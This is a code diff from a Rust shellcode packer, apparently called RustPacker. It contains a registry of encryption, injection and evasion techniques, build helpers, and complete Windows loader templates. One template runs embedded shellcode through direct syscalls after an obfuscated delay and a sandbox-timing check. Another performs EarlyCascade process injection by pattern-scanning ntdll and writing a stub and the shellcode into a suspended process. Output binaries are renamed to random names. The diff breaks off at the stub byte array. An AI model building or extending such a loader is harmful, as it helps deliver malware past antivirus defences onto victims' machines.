/// All techniques discovered at compile time. Populated by `build.rs`.
|
||||
pub fn all() -> &'static [&'static dyn Technique] {
|
||||
REGISTRY
|
||||
}
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/registry.rs"));
|
||||
|
||||
pub fn find(id: &str) -> Option<&'static dyn Technique> {
|
||||
REGISTRY.iter().copied().find(|t| t.meta().id == id)
|
||||
}
|
||||
|
||||
pub fn by_category(cat: Category) -> impl Iterator<Item = &'static dyn Technique> {
|
||||
REGISTRY.iter().copied().filter(move |t| t.meta().category == cat)
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
//! Static metadata types for techniques. Every technique provides a
|
||||
//! `&'static TechniqueMeta` describing itself to the GUI and CLI.
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Category {
|
||||
Encryption,
|
||||
Injection,
|
||||
Evasion,
|
||||
}
|
||||
|
||||
impl Category {
|
||||
pub fn as_str(self) -> &'static str {
|
||||
match self {
|
||||
Category::Encryption => "encryption",
|
||||
Category::Injection => "injection",
|
||||
Category::Evasion => "evasion",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub enum Format {
|
||||
Exe,
|
||||
Dll,
|
||||
DllSideload,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub enum Requirement {
|
||||
/// Technique needs a target process name (remote injection).
|
||||
TargetProcess,
|
||||
/// Technique only works with the given output format.
|
||||
Format(Format),
|
||||
/// Technique injects into the current process (no remote target).
|
||||
SelfInjection,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub enum ParamSpec {
|
||||
Text { name: &'static str, label: &'static str, default: &'static str },
|
||||
Bool { name: &'static str, label: &'static str, default: bool },
|
||||
Choice { name: &'static str, label: &'static str, options: &'static [&'static str] },
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct TechniqueMeta {
|
||||
pub id: &'static str,
|
||||
pub display_name: &'static str,
|
||||
pub description: &'static str,
|
||||
pub category: Category,
|
||||
pub tags: &'static [&'static str],
|
||||
pub requires: &'static [Requirement],
|
||||
pub incompatible_with: &'static [&'static str],
|
||||
pub params: &'static [ParamSpec],
|
||||
}
|
||||
|
||||
include!("types_tests.rs");
|
||||
@@ -0,0 +1,41 @@
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn meta_can_be_constructed_as_static() {
|
||||
const M: TechniqueMeta = TechniqueMeta {
|
||||
id: "test_xor",
|
||||
display_name: "Test XOR",
|
||||
description: "fixture",
|
||||
category: Category::Encryption,
|
||||
tags: &[],
|
||||
requires: &[],
|
||||
incompatible_with: &[],
|
||||
params: &[ParamSpec::Text { name: "key", label: "Key", default: "0x42" }],
|
||||
};
|
||||
assert_eq!(M.id, "test_xor");
|
||||
assert!(matches!(M.category, Category::Encryption));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn requirement_self_injection_matches() {
|
||||
let req = Requirement::SelfInjection;
|
||||
assert!(matches!(req, Requirement::SelfInjection));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn registry_includes_xor() {
|
||||
let xor = crate::techniques::find("xor").expect("xor technique not registered");
|
||||
assert_eq!(xor.meta().id, "xor");
|
||||
assert!(matches!(xor.meta().category, crate::techniques::Category::Encryption));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn all_eight_injections_register() {
|
||||
let ids = ["syscrt", "wincrt", "earlycascade", "sysfiber"];
|
||||
for id in ids {
|
||||
assert!(crate::techniques::find(id).is_some(), "missing injection: {id}");
|
||||
}
|
||||
}
|
||||
}
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
use crate::order::Order;
|
||||
use path_clean::PathClean;
|
||||
use rand::distr::Alphanumeric;
|
||||
use rand::RngExt;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io;
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct EncryptionOutput {
|
||||
pub decryption_function: String,
|
||||
pub main: String,
|
||||
pub dependencies: Option<String>,
|
||||
pub imports: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct SandboxOutput {
|
||||
pub sandbox_function: String,
|
||||
pub sandbox_import: String,
|
||||
}
|
||||
|
||||
pub fn absolute_path(path: impl AsRef<Path>) -> io::Result<PathBuf> {
|
||||
let path = path.as_ref();
|
||||
let absolute_path = if path.is_absolute() {
|
||||
path.to_path_buf()
|
||||
} else {
|
||||
env::current_dir()?.join(path)
|
||||
}.clean();
|
||||
Ok(absolute_path)
|
||||
}
|
||||
|
||||
pub fn write_to_file(content: &[u8], path: &Path) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let mut file = File::create(path)?;
|
||||
file.write_all(content)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn random_u8() -> u8 { rand::random() }
|
||||
pub fn random_aes_key() -> [u8; 32] { rand::random::<[u8; 32]>() }
|
||||
pub fn random_aes_iv() -> [u8; 16] { rand::random::<[u8; 16]>() }
|
||||
|
||||
pub fn get_source_binary_filename(order: &Order, output_folder: &Path) -> PathBuf {
|
||||
let template_name = template_name_for_injection(&order.injection_id);
|
||||
let binary_name = format!("{}.{}", template_name, order.format.extension());
|
||||
let candidates = [
|
||||
"target/x86_64-pc-windows-msvc/release",
|
||||
"target/x86_64-pc-windows-gnu/release",
|
||||
];
|
||||
for dir in candidates {
|
||||
let path = output_folder.join(dir).join(&binary_name);
|
||||
if path.exists() {
|
||||
return path;
|
||||
}
|
||||
}
|
||||
output_folder.join(format!("target/x86_64-pc-windows-gnu/release/{}", binary_name))
|
||||
}
|
||||
|
||||
fn template_name_for_injection(injection_id: &str) -> &'static str {
|
||||
// The compiled binary inherits its name from the template folder.
|
||||
match injection_id {
|
||||
"syscrt" => "sysCRT",
|
||||
"wincrt" => "winCRT",
|
||||
"sysfiber" => "sysFIBER",
|
||||
"earlycascade" => "ntEarlyCascade",
|
||||
"enum_calendar_info" => "callbackExec",
|
||||
"enum_desktops" => "callbackExec",
|
||||
"enum_system_geo_id" => "callbackExec",
|
||||
"enum_window_stations" => "callbackExec",
|
||||
"cdef_folder_menu" => "callbackExec",
|
||||
"rtl_user_fiber_start" => "callbackExec",
|
||||
other => panic!("unknown injection id: {other}"),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn process_output(order: &Order, output_folder_path: &Path) -> io::Result<()> {
|
||||
let output_path = match &order.output { Some(p) => p, None => return Ok(()) };
|
||||
if let Some(parent) = output_path.parent() {
|
||||
if !parent.exists() { fs::create_dir_all(parent)?; }
|
||||
}
|
||||
let source_binary = get_source_binary_filename(order, output_folder_path);
|
||||
if !source_binary.is_file() {
|
||||
return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary)));
|
||||
}
|
||||
fs::copy(&source_binary, output_path)?;
|
||||
crate::blog!("[+] Your binary has been written here: {:?}", output_path);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn generate_random_filename(order: &Order) -> String {
|
||||
let mut rng = rand::rng();
|
||||
let random_string: String = (0..8).map(|_| rng.sample(Alphanumeric) as char).collect();
|
||||
format!("{}.{}", random_string, order.format.extension())
|
||||
}
|
||||
|
||||
pub fn rename_source_binary(order: &Order, output_folder_path: &Path) -> io::Result<()> {
|
||||
let source_binary = get_source_binary_filename(order, output_folder_path);
|
||||
if !source_binary.exists() {
|
||||
return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary)));
|
||||
}
|
||||
let random_filename = generate_random_filename(order);
|
||||
let release_dir = source_binary.parent().expect("Source binary has no parent directory");
|
||||
let new_path = release_dir.join(random_filename);
|
||||
fs::rename(&source_binary, &new_path)?;
|
||||
crate::blog!("[+] Source binary has been renamed to: {:?}", new_path);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::order::{Order, OutputFormat};
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
fn fixture_order(format: OutputFormat) -> Order {
|
||||
Order {
|
||||
shellcode_path: PathBuf::from("/tmp/test.bin"),
|
||||
format,
|
||||
encryption_id: "xor".to_string(),
|
||||
injection_id: "syscrt".to_string(),
|
||||
evasions: Vec::new(),
|
||||
params: HashMap::new(),
|
||||
output: None,
|
||||
sideload: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn write_to_file_roundtrip() {
|
||||
let dir = std::env::temp_dir().join("rustpacker_test_tools_write");
|
||||
fs::create_dir_all(&dir).unwrap();
|
||||
let path = dir.join("test_output.bin");
|
||||
let content: Vec<u8> = vec![0xCA, 0xFE, 0xBA, 0xBE];
|
||||
write_to_file(&content, &path).unwrap();
|
||||
let read_back = fs::read(&path).unwrap();
|
||||
assert_eq!(read_back, content);
|
||||
fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn absolute_path_already_absolute() {
|
||||
let path: &Path = if cfg!(windows) { Path::new("C:\\tmp\\test") } else { Path::new("/tmp/test") };
|
||||
let result = absolute_path(path).unwrap();
|
||||
assert!(result.is_absolute());
|
||||
assert_eq!(result, path);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_aes_key_length() { assert_eq!(random_aes_key().len(), 32); }
|
||||
|
||||
#[test]
|
||||
fn random_aes_iv_length() { assert_eq!(random_aes_iv().len(), 16); }
|
||||
|
||||
#[test]
|
||||
fn generate_random_filename_format() {
|
||||
let order = fixture_order(OutputFormat::Exe);
|
||||
let filename = generate_random_filename(&order);
|
||||
assert!(filename.ends_with(".exe"));
|
||||
assert_eq!(filename.len(), 12);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn get_source_binary_filename_uses_template_name() {
|
||||
let order = fixture_order(OutputFormat::Dll);
|
||||
let path = get_source_binary_filename(&order, Path::new("/output"));
|
||||
assert!(path.to_string_lossy().contains("sysCRT.dll"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
[package]
|
||||
name = "callbackExec"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
winapi = { version = "0.3", features = [
|
||||
"ntdef", "ntstatus", "impl-default",
|
||||
"libloaderapi", "processthreadsapi", "memoryapi",
|
||||
"winnls", "winuser", "synchapi", "winnt",
|
||||
"debugapi", "errhandlingapi", "sysinfoapi",
|
||||
"minwindef", "handleapi",
|
||||
] }
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
|
||||
features = [
|
||||
"Win32_System_Memory",
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_Com",
|
||||
"Win32_System_Registry",
|
||||
"Win32_UI_Shell",
|
||||
"Win32_UI_Shell_Common",
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,122 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case, unused_imports, unused_unsafe)]
|
||||
|
||||
use std::ffi::CString;
|
||||
use std::include_bytes;
|
||||
use std::ptr::null_mut;
|
||||
use std::time::Instant;
|
||||
|
||||
use winapi::ctypes::c_void;
|
||||
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
|
||||
};
|
||||
|
||||
use dyncvoke::dyncvoke_core::syscall;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void {
|
||||
let h_proc: *mut c_void = -1isize as *mut c_void;
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
let mut size: usize = bytes.len();
|
||||
let status = syscall!(
|
||||
"NtAllocateVirtualMemory",
|
||||
h_proc,
|
||||
&mut base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
).unwrap_or(-1);
|
||||
if status < 0 || base.is_null() { return null_mut(); }
|
||||
|
||||
std::ptr::copy_nonoverlapping(bytes.as_ptr(), base as *mut u8, bytes.len());
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut psize: usize = bytes.len();
|
||||
let status = syscall!(
|
||||
"NtProtectVirtualMemory",
|
||||
h_proc,
|
||||
&mut base as *mut *mut c_void,
|
||||
&mut psize as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32
|
||||
).unwrap_or(-1);
|
||||
if status < 0 { return null_mut(); }
|
||||
|
||||
base
|
||||
}
|
||||
|
||||
{{INJECTION_HELPERS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
const K: u8 = {{API_KEY}};
|
||||
const OBF_H: &[u8] = &{{OBF_NT_DELAY_EXECUTION}};
|
||||
|
||||
fn r(d: &[u8]) -> Vec<u8> {
|
||||
d.iter().map(|b| b ^ K).collect()
|
||||
}
|
||||
|
||||
unsafe fn g(n: &[u8]) -> *const () {
|
||||
let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
|
||||
let s = r(n);
|
||||
let c = CString::new(s).unwrap();
|
||||
GetProcAddress(h, c.as_ptr()) as *const ()
|
||||
}
|
||||
|
||||
type FH = unsafe extern "system" fn(u32, *const i64) -> i32;
|
||||
|
||||
fn pause(ms: i64) {
|
||||
unsafe {
|
||||
let f: FH = std::mem::transmute(g(OBF_H));
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
f(0, &interval);
|
||||
}
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn detonate(mut vec: Vec<u8>) {
|
||||
{{NT_DELAY_STEP}}
|
||||
pause(100);
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
unsafe {
|
||||
{{CALLBACK_INVOKE}}
|
||||
}
|
||||
|
||||
wipe(&mut vec);
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
detonate(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,28 @@
|
||||
[package]
|
||||
name = "ntEarlyCascade"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
windows-sys = { version = "0.61", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_LibraryLoader",
|
||||
] }
|
||||
# Used by domain_pin and anti_debug evasion snippets.
|
||||
winapi = { version = "0.3", features = ["sysinfoapi", "ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,172 @@
|
||||
// Pattern-scanner helpers for the EarlyCascade injection technique.
|
||||
|
||||
use windows_sys::Win32::System::Memory::RtlCompareMemory;
|
||||
|
||||
const MAX_PATTERN_SIZE: usize = 0x20;
|
||||
|
||||
pub fn encode_system_ptr(ptr: u64) -> u64 {
|
||||
let cookie: u32 = unsafe { *(0x7FFE0330 as *const u32) };
|
||||
((ptr ^ cookie as u64).rotate_right((cookie & 0x3F) as u32)) as u64
|
||||
}
|
||||
|
||||
pub fn find_pattern(buf: &[u8], pat: &[u8]) -> Option<usize> {
|
||||
if buf.len() < pat.len() {
|
||||
return None;
|
||||
}
|
||||
|
||||
buf.windows(pat.len()).position(|window| unsafe {
|
||||
RtlCompareMemory(window.as_ptr() as _, pat.as_ptr() as _, pat.len()) == pat.len()
|
||||
})
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct CascadePattern {
|
||||
data: [u8; MAX_PATTERN_SIZE],
|
||||
size: u8,
|
||||
pc_off: u8,
|
||||
}
|
||||
|
||||
pub fn find_se_dll_loaded(ntdll_base: u64) -> Option<(u64, u64)> {
|
||||
let patterns = [CascadePattern {
|
||||
data: [
|
||||
0x8B, 0x14, 0x25, 0x30, 0x03, 0xFE, 0x7F, 0x8B, 0xC2, 0x48, 0x8B, 0x3D, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
],
|
||||
size: 12,
|
||||
pc_off: 4,
|
||||
}];
|
||||
|
||||
let dos = ntdll_base as *const u8;
|
||||
let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize;
|
||||
let nt = (ntdll_base as isize + e_lfanew) as *const u8;
|
||||
|
||||
let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize;
|
||||
let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize;
|
||||
|
||||
let sec_start = unsafe { nt.offset(24 + opt_size) };
|
||||
|
||||
let mut text_va = 0u64;
|
||||
let mut text_size = 0u64;
|
||||
let mut mrdata_va = 0u64;
|
||||
let mut mrdata_size = 0u64;
|
||||
|
||||
for i in 0..num_sections {
|
||||
let sec = unsafe { sec_start.offset((i * 40) as isize) };
|
||||
let name_arr = unsafe { *(sec as *const [u8; 8]) };
|
||||
|
||||
if name_arr == *b".text\0\0\0" {
|
||||
text_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
|
||||
text_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
|
||||
}
|
||||
if name_arr == *b".mrdata\0" {
|
||||
mrdata_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
|
||||
mrdata_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
|
||||
}
|
||||
}
|
||||
|
||||
let text_start = ntdll_base + text_va;
|
||||
|
||||
for pat in patterns {
|
||||
let mut pos = text_start as usize;
|
||||
let mem =
|
||||
unsafe { std::slice::from_raw_parts(text_start as *const u8, text_size as usize) };
|
||||
|
||||
while let Some(off) = find_pattern(
|
||||
&mem[(pos - text_start as usize)..],
|
||||
&pat.data[..pat.size as usize],
|
||||
) {
|
||||
pos = text_start as usize + (pos - text_start as usize) + off + pat.size as usize;
|
||||
if unsafe { *((pos as *const u8).offset(3)) } != 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let rel = unsafe { *(pos as *const i32) };
|
||||
let addr = (pos as u64)
|
||||
.wrapping_add(rel as u64)
|
||||
.wrapping_add(pat.pc_off as u64);
|
||||
|
||||
if addr >= ntdll_base + mrdata_va && addr < ntdll_base + mrdata_va + mrdata_size {
|
||||
return Some((addr, pos as u64 - pat.size as u64));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
pub fn find_shims_enabled(ntdll_base: u64, offset_addr: u64) -> Option<u64> {
|
||||
let patterns = [
|
||||
CascadePattern {
|
||||
data: [
|
||||
0xc6, 0x05, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
],
|
||||
size: 2,
|
||||
pc_off: 5,
|
||||
},
|
||||
CascadePattern {
|
||||
data: [
|
||||
0x44, 0x38, 0x25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0,
|
||||
],
|
||||
size: 3,
|
||||
pc_off: 4,
|
||||
},
|
||||
// Win11 variant for `cmp [rel], r13b`
|
||||
CascadePattern {
|
||||
data: [
|
||||
0x44, 0x38, 0x2D, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0,
|
||||
],
|
||||
size: 3,
|
||||
pc_off: 4,
|
||||
},
|
||||
];
|
||||
|
||||
let search_start = offset_addr.saturating_sub(0xFF);
|
||||
let search_end = offset_addr + 0xFF;
|
||||
let mem = unsafe {
|
||||
std::slice::from_raw_parts(
|
||||
search_start as *const u8,
|
||||
(search_end - search_start) as usize,
|
||||
)
|
||||
};
|
||||
|
||||
let dos = ntdll_base as *const u8;
|
||||
let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize;
|
||||
let nt = (ntdll_base as isize + e_lfanew) as *const u8;
|
||||
let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize;
|
||||
let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize;
|
||||
|
||||
let sec_start = unsafe { nt.offset(24 + opt_size) };
|
||||
|
||||
let mut data_va = 0u64;
|
||||
let mut data_size = 0u64;
|
||||
|
||||
for i in 0..num_sections {
|
||||
let sec = unsafe { sec_start.offset((i * 40) as isize) };
|
||||
let name_arr = unsafe { *(sec as *const [u8; 8]) };
|
||||
if name_arr == *b".data\0\0\0" {
|
||||
data_va = unsafe { *(sec.offset(12) as *const u32) } as u64;
|
||||
data_size = unsafe { *(sec.offset(8) as *const u32) } as u64;
|
||||
}
|
||||
}
|
||||
|
||||
for pat in patterns {
|
||||
let mut cur = 0usize;
|
||||
while let Some(off) = find_pattern(&mem[cur..], &pat.data[..pat.size as usize]) {
|
||||
cur += off + pat.size as usize;
|
||||
let ptr = search_start + cur as u64;
|
||||
if unsafe { *((ptr + 3) as *const u8) } != 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let rel = unsafe { *(ptr as *const i32) };
|
||||
let addr = ptr.wrapping_add(rel as u64).wrapping_add(pat.pc_off as u64);
|
||||
|
||||
if addr >= ntdll_base + data_va && addr < ntdll_base + data_va + data_size {
|
||||
return Some(addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
// EarlyCascade Injection
|
||||
// Integrated into RustPacker's template pipeline.
|
||||
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use std::include_bytes;
|
||||
use std::mem::zeroed;
|
||||
use std::ptr::{null, null_mut};
|
||||
|
||||
use windows_sys::Win32::{
|
||||
Foundation::CloseHandle,
|
||||
System::{
|
||||
Diagnostics::Debug::WriteProcessMemory,
|
||||
LibraryLoader::GetModuleHandleA,
|
||||
Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx},
|
||||
Threading::{
|
||||
CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, ResumeThread, STARTUPINFOA,
|
||||
TerminateProcess,
|
||||
},
|
||||
},
|
||||
};
|
||||
use windows_sys::core::s;
|
||||
|
||||
mod core_file;
|
||||
mod stubs;
|
||||
|
||||
use core_file::{encode_system_ptr, find_pattern, find_se_dll_loaded, find_shims_enabled};
|
||||
use stubs::STUB;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
// Called by {{NT_DELAY_*}} placeholders when the nt_delay evasion is selected.
|
||||
#[allow(dead_code)]
|
||||
fn pause(ms: u64) {
|
||||
std::thread::sleep(std::time::Duration::from_millis(ms));
|
||||
}
|
||||
|
||||
unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) {
|
||||
let si = zeroed::<STARTUPINFOA>();
|
||||
let mut pi = zeroed::<PROCESS_INFORMATION>();
|
||||
|
||||
let success = CreateProcessA(
|
||||
null(),
|
||||
target_process.as_ptr() as _,
|
||||
null(),
|
||||
null(),
|
||||
0,
|
||||
CREATE_SUSPENDED,
|
||||
null(),
|
||||
null(),
|
||||
&si,
|
||||
&mut pi,
|
||||
);
|
||||
if success == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let ntdll = GetModuleHandleA(s!("ntdll.dll")) as u64;
|
||||
if ntdll == 0 {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
let (se_dll_loaded, offset_addr) = match find_se_dll_loaded(ntdll) {
|
||||
Some(x) => x,
|
||||
None => {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let shims_enabled = match find_shims_enabled(ntdll, offset_addr) {
|
||||
Some(x) => x,
|
||||
None => {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let remote_mem = VirtualAllocEx(
|
||||
pi.hProcess,
|
||||
null_mut(),
|
||||
STUB.len() + shellcode.len(),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
);
|
||||
if remote_mem.is_null() {
|
||||
TerminateProcess(pi.hProcess, 1);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return;
|
||||
}
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
|
||||
let stub_addr = remote_mem as u64;
|
||||
let shell_addr = stub_addr + STUB.len() as u64;
|
||||
|
||||
let placeholder = find_pattern(STUB, &[0x11; 8]).unwrap_or(0);
|
||||
let mut patched_stub = STUB.to_vec();
|
||||
patched_stub[placeholder..placeholder + 8]
|
||||
.copy_from_slice(&shims_enabled.to_le_bytes());
|
||||
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
remote_mem,
|
||||
patched_stub.as_ptr() as _,
|
||||
patched_stub.len(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
shell_addr as _,
|
||||
shellcode.as_ptr() as _,
|
||||
shellcode.len(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
let encoded_ptr = encode_system_ptr(stub_addr);
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
se_dll_loaded as _,
|
||||
&encoded_ptr as *const _ as _,
|
||||
8,
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
let enable: u8 = 1;
|
||||
WriteProcessMemory(
|
||||
pi.hProcess,
|
||||
shims_enabled as _,
|
||||
&enable as *const _ as _,
|
||||
1,
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
{{NT_DELAY_STEP}}
|
||||
{{NT_DELAY_FINAL}}
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{NT_DELAY_AT_START}}
|
||||
{{SANDBOX}}
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
// Process name must be NUL-terminated for CreateProcessA.
|
||||
let target = b"{{TARGET_PROCESS}}\0";
|
||||
unsafe { cascade(&vec, target); }
|
||||
wipe(&mut vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -0,0 +1,45 @@
|
||||
// Extracted EarlyCascade x64 stub.
|
||||
// Source: stub_calc/stub.bin.
|
||||
//
|
||||
// The 8-byte placeholder `0x11 * 8` at runtime gets patched with the
|
||||
// resolved &g_ShimsEnabled address before being written into the target
|
||||
// process.
|
||||
|
||||
pub const STUB: &[u8] = &[
|
||||
